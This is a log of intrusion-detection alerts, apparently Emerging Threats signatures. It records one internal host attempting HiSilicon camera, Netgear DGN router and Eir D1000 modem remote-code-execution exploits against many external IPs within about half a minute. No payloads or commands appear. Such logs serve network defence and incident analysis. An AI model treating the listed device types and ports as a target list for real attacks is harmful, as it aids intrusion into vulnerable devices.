ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 196.100.53.197

Timestamp:	05/16/24-16:39:05.677845
SID:	2030487
Source Port:	46952
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 22.15.103.15

Timestamp:	05/16/24-16:38:53.403411
SID:	2034576
Source Port:	35476
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.19.160.80

Timestamp:	05/16/24-16:39:14.491075
SID:	2030488
Source Port:	40244
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 145.225.92.178

Timestamp:	05/16/24-16:38:57.411050
SID:	2030488
Source Port:	40614
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 119.77.197.55

Timestamp:	05/16/24-16:38:59.584459
SID:	2030487
Source Port:	47268
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 122.19.160.80

Timestamp:	05/16/24-16:39:14.491075
SID:	2030487
Source Port:	40244
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 145.225.92.178

Timestamp:	05/16/24-16:38:57.411050
SID:	2030487
Source Port:	40614
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 119.77.197.55

Timestamp:	05/16/24-16:38:59.584459
SID:	2030488
Source Port:	47268
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 179.79.171.171

Timestamp:	05/16/24-16:39:08.124545
SID:	2030487
Source Port:	43052
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 179.79.171.171

Timestamp:	05/16/24-16:39:08.124545
SID:	2030488
Source Port:	43052
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 65.21.121.241

Timestamp:	05/16/24-16:38:57.413289
SID:	2030488
Source Port:	35620
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 65.21.121.241

Timestamp:	05/16/24-16:38:57.413289
SID:	2030487
Source Port:	35620
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.67.123.150

Timestamp:	05/16/24-16:38:53.011565
SID:	2030488
Source Port:	40344
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 204.233.131.190

Timestamp:	05/16/24-16:38:55.176104
SID:	2030487
Source Port:	37190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.67.123.150

Timestamp:	05/16/24-16:38:53.011565
SID:	2030487
Source Port:	40344
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 204.233.131.190

Timestamp:	05/16/24-16:38:55.176104
SID:	2030488
Source Port:	37190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 38.63.70.92

Timestamp:	05/16/24-16:39:14.507222
SID:	2030488
Source Port:	48836
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 38.63.70.92

Timestamp:	05/16/24-16:39:14.507222
SID:	2030487
Source Port:	48836
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 31.70.29.132

Timestamp:	05/16/24-16:38:55.196413
SID:	2030487
Source Port:	54818
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 53.102.184.171

Timestamp:	05/16/24-16:38:55.210410
SID:	2030488
Source Port:	38816
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 31.70.29.132

Timestamp:	05/16/24-16:38:55.196413
SID:	2030488
Source Port:	54818
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 53.102.184.171

Timestamp:	05/16/24-16:38:55.210410
SID:	2030487
Source Port:	38816
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 191.236.217.49

Timestamp:	05/16/24-16:39:05.707933
SID:	2030487
Source Port:	46552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 191.236.217.49

Timestamp:	05/16/24-16:39:05.707933
SID:	2030488
Source Port:	46552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 177.228.239.104

Timestamp:	05/16/24-16:39:03.276016
SID:	2030488
Source Port:	43880
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 177.228.239.104

Timestamp:	05/16/24-16:39:03.276016
SID:	2030487
Source Port:	43880
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.217.7.47

Timestamp:	05/16/24-16:38:57.407584
SID:	2030488
Source Port:	41758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 197.38.87.130

Timestamp:	05/16/24-16:39:16.614064
SID:	2030487
Source Port:	52952
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 112.217.7.47

Timestamp:	05/16/24-16:38:57.407584
SID:	2030487
Source Port:	41758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 28.192.76.236

Timestamp:	05/16/24-16:39:01.475837
SID:	2024916
Source Port:	58292
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 207.174.190.57

Timestamp:	05/16/24-16:39:02.745320
SID:	2030488
Source Port:	43542
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 207.174.190.57

Timestamp:	05/16/24-16:39:02.745320
SID:	2030487
Source Port:	43542
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 197.38.87.130

Timestamp:	05/16/24-16:39:16.614064
SID:	2030488
Source Port:	52952
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 42.216.22.55

Timestamp:	05/16/24-16:39:02.747123
SID:	2030488
Source Port:	37924
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 57.149.215.70

Timestamp:	05/16/24-16:39:09.591889
SID:	2024916
Source Port:	46886
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.91.196.29

Timestamp:	05/16/24-16:38:50.048958
SID:	2030487
Source Port:	46942
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.91.196.29

Timestamp:	05/16/24-16:38:50.048958
SID:	2030488
Source Port:	46942
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 180.34.21.198

Timestamp:	05/16/24-16:39:08.092962
SID:	2030488
Source Port:	33580
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 42.216.22.55

Timestamp:	05/16/24-16:39:02.747123
SID:	2030487
Source Port:	37924
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 95.145.17.210

Timestamp:	05/16/24-16:38:59.520034
SID:	2030487
Source Port:	33528
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 136.182.184.8

Timestamp:	05/16/24-16:39:12.298217
SID:	2030488
Source Port:	33082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 136.182.184.8

Timestamp:	05/16/24-16:39:12.298217
SID:	2030487
Source Port:	33082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 172.76.182.147

Timestamp:	05/16/24-16:39:14.517513
SID:	2030488
Source Port:	39110
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.74.51.50

Timestamp:	05/16/24-16:39:12.382906
SID:	2030488
Source Port:	46302
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.74.51.50

Timestamp:	05/16/24-16:39:12.382906
SID:	2030487
Source Port:	46302
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 172.76.182.147

Timestamp:	05/16/24-16:39:14.517513
SID:	2030487
Source Port:	39110
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 73.152.85.17

Timestamp:	05/16/24-16:39:16.579423
SID:	2030487
Source Port:	37844
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.152.85.17

Timestamp:	05/16/24-16:39:16.579423
SID:	2030488
Source Port:	37844
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 143.156.0.247

Timestamp:	05/16/24-16:39:08.044990
SID:	2030488
Source Port:	60678
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 5.101.134.14

Timestamp:	05/16/24-16:38:57.423113
SID:	2030487
Source Port:	60450
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.101.134.14

Timestamp:	05/16/24-16:38:57.423113
SID:	2030488
Source Port:	60450
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 143.156.0.247

Timestamp:	05/16/24-16:39:08.044990
SID:	2030487
Source Port:	60678
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 97.220.0.101

Timestamp:	05/16/24-16:39:16.599371
SID:	2030487
Source Port:	53384
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 97.220.0.101

Timestamp:	05/16/24-16:39:16.599371
SID:	2030488
Source Port:	53384
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 8.58.82.74

Timestamp:	05/16/24-16:39:02.727988
SID:	2030487
Source Port:	48898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 8.58.82.74

Timestamp:	05/16/24-16:39:02.727988
SID:	2030488
Source Port:	48898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 8.135.13.41

Timestamp:	05/16/24-16:39:14.510014
SID:	2030488
Source Port:	47718
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 8.135.13.41

Timestamp:	05/16/24-16:39:14.510014
SID:	2030487
Source Port:	47718
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 57.47.18.75

Timestamp:	05/16/24-16:39:12.301227
SID:	2030488
Source Port:	35194
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 114.129.25.27

Timestamp:	05/16/24-16:39:03.262318
SID:	2030487
Source Port:	36866
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 114.129.25.27

Timestamp:	05/16/24-16:39:03.262318
SID:	2030488
Source Port:	36866
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 97.61.128.72

Timestamp:	05/16/24-16:39:08.044934
SID:	2030487
Source Port:	36884
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 65.81.195.50

Timestamp:	05/16/24-16:39:08.149440
SID:	2030487
Source Port:	33290
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 103.219.96.193

Timestamp:	05/16/24-16:38:50.068333
SID:	2030487
Source Port:	38182
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 65.81.195.50

Timestamp:	05/16/24-16:39:08.149440
SID:	2030488
Source Port:	33290
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 103.219.96.193

Timestamp:	05/16/24-16:38:50.068333
SID:	2030488
Source Port:	38182
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 87.176.145.125

Timestamp:	05/16/24-16:38:50.047570
SID:	2030488
Source Port:	33754
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 87.176.145.125

Timestamp:	05/16/24-16:38:50.047570
SID:	2030487
Source Port:	33754
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 152.124.8.16

Timestamp:	05/16/24-16:38:59.519292
SID:	2030487
Source Port:	34336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 152.124.8.16

Timestamp:	05/16/24-16:38:59.519292
SID:	2030488
Source Port:	34336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 180.34.21.198

Timestamp:	05/16/24-16:39:08.092962
SID:	2030487
Source Port:	33580
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 63.89.166.145

Timestamp:	05/16/24-16:39:12.298180
SID:	2030487
Source Port:	60628
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 63.89.166.145

Timestamp:	05/16/24-16:39:12.298180
SID:	2030488
Source Port:	60628
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 42.222.236.116

Timestamp:	05/16/24-16:38:59.609926
SID:	2030487
Source Port:	37520
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 156.24.160.57

Timestamp:	05/16/24-16:39:05.676898
SID:	2030487
Source Port:	60550
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 42.222.236.116

Timestamp:	05/16/24-16:38:59.609926
SID:	2030488
Source Port:	37520
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.24.160.57

Timestamp:	05/16/24-16:39:05.676898
SID:	2030488
Source Port:	60550
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 94.1.182.118

Timestamp:	05/16/24-16:39:14.493439
SID:	2030487
Source Port:	53500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 60.193.129.82

Timestamp:	05/16/24-16:38:57.435755
SID:	2030487
Source Port:	54334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 60.193.129.82

Timestamp:	05/16/24-16:38:57.435755
SID:	2030488
Source Port:	54334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 94.1.182.118

Timestamp:	05/16/24-16:39:14.493439
SID:	2030488
Source Port:	53500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 57.47.18.75

Timestamp:	05/16/24-16:39:12.301227
SID:	2030487
Source Port:	35194
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 103.252.211.151

Timestamp:	05/16/24-16:38:59.590333
SID:	2030487
Source Port:	46476
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 103.252.211.151

Timestamp:	05/16/24-16:38:59.590333
SID:	2030488
Source Port:	46476
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 121.66.149.166

Timestamp:	05/16/24-16:38:57.441215
SID:	2030487
Source Port:	59654
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 53.255.186.99

Timestamp:	05/16/24-16:39:12.400966
SID:	2030488
Source Port:	59258
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 121.66.149.166

Timestamp:	05/16/24-16:38:57.441215
SID:	2030488
Source Port:	59654
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 53.255.186.99

Timestamp:	05/16/24-16:39:12.400966
SID:	2030487
Source Port:	59258
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 20.220.139.7

Timestamp:	05/16/24-16:39:16.577653
SID:	2030488
Source Port:	59250
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 20.220.139.7

Timestamp:	05/16/24-16:39:16.577653
SID:	2030487
Source Port:	59250
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 204.250.208.68

Timestamp:	05/16/24-16:39:11.095822
SID:	2023548
Source Port:	49398
Destination Port:	5555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 209.2.14.201

Timestamp:	05/16/24-16:39:05.676832
SID:	2030488
Source Port:	60374
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 209.2.14.201

Timestamp:	05/16/24-16:39:05.676832
SID:	2030487
Source Port:	60374
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 167.249.78.203

Timestamp:	05/16/24-16:39:02.749201
SID:	2030488
Source Port:	60394
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 167.249.78.203

Timestamp:	05/16/24-16:39:02.749201
SID:	2030487
Source Port:	60394
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.130.82.160

Timestamp:	05/16/24-16:39:12.295348
SID:	2030488
Source Port:	45538
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.130.82.160

Timestamp:	05/16/24-16:39:12.295348
SID:	2030487
Source Port:	45538
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.174.77.109

Timestamp:	05/16/24-16:39:03.260036
SID:	2030487
Source Port:	43804
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 82.88.139.252

Timestamp:	05/16/24-16:39:05.500410
SID:	2034576
Source Port:	43658
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

